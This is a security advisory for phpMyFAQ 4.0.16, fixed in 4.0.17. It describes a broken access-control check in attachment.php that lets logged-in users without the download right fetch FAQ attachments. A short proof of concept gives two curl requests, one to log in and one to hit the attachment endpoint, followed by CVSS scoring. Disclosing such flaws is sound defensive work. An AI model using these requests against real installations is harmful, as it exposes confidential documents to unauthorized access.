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phpMyFAQ: Attachment download allowed without dlattachment right (broken access control)

Moderate
thorsten published GHSA-7p9h-m7m8-vhhv Jan 23, 2026

Package

phpmyfaq/phpmyfaq (repo: thorsten/phpMyFAQ) (Packagist)

Affected versions

4.0.16

Patched versions

4.0.17

Description

Summary

A logged‑in user without the dlattachment right can download FAQ attachments. This is due to a permissive permission check in attachment.php that treats the mere presence of a right key as authorization and a flawed group/user logic expression.

Details

In attachment.php, the access decision uses:
($groupPermission || ($groupPermission && $userPermission)) && isset($permission['dlattachment'])
isset() returns true even when the right value is false, and the logic simplifies to $groupPermission for some permission modes. As a result, a user without dlattachment can still access the attachment.

PoC

Precondition: A non‑admin user exists; an attachment is associated to a FAQ record; records.allowDownloadsForGuests = false.
Log in as a non‑admin user without dlattachment.
Request the attachment download endpoint.

curl -c /tmp/pmf_api_cookies.txt \
  -H 'Content-Type: application/json' \
  -d '{"username":"tester","password":"Test1234!"}' \
  http://192.168.40.16/phpmyfaq/api/v3.0/login

curl -i -b /tmp/pmf_api_cookies.txt \
  "http://192.168.40.16/phpmyfaq/index.php?action=attachment&id=1"

Impact

Unauthorized users can download attachments (confidentiality breach). Depending on content, this may expose sensitive documents.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-24420

Weaknesses

No CWEs

Credits